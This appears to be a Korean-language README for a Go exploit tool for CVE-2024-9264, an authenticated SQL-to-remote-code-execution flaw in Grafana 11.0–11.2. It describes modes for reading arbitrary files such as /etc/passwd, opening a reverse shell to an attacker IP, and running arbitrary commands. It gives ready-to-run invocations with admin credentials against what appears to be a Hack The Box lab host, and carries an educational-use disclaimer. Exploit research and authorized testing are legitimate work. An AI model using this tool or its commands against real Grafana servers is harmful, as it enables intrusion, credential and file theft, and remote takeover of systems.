cythonic1/cve-2024-9264CVE-2024-9264를 위한 Go 구현으로, grafana 버전 11.0.x, 11.1.x, 11.2.x에 영향을 줍니다.
CVE-2024-9264용 익스플로잇 도구, Grafana의 심각한 취약점으로 인증된 공격자가 SQL 쿼리를 실행하여 RCE로 이어지게 합니다.
🛡️ 이 도구는 엄격히 교육 목적 및 공인된 침투 테스트를 위한 것입니다.
무단 사용은 불법이며 비윤리적입니다.
CVE-2024-9264는 Grafana의 심각한 결함으로, 인증된 공격자가 SQL 명령을 실행하여 RCE 및 파일 읽기로 이어질 수 있습니다.
file – 임의 파일 읽기 (예: /etc/passwd)shell – 공격자 머신으로 리버스 셸command – 임의 셸 명령 실행 (예: whoami)
모든 인수가 필요한 것은 아닙니다.
go run main.go -ip 10.10.16.91 -port 8080 -username admin -password 0D5oT70Fq13EvB5r -url http://grafana.planning.htb -type shell
go run main.go -username admin -password 0D5oT70Fq13EvB5r -url http://grafana.planning.htb -type file -filename /etc/passwd
go run main.go -username admin -password 0D5oT70Fq13EvB5r -url http://grafana.planning.htb -type command -cmd 'ls -al'
go run main.go [flags]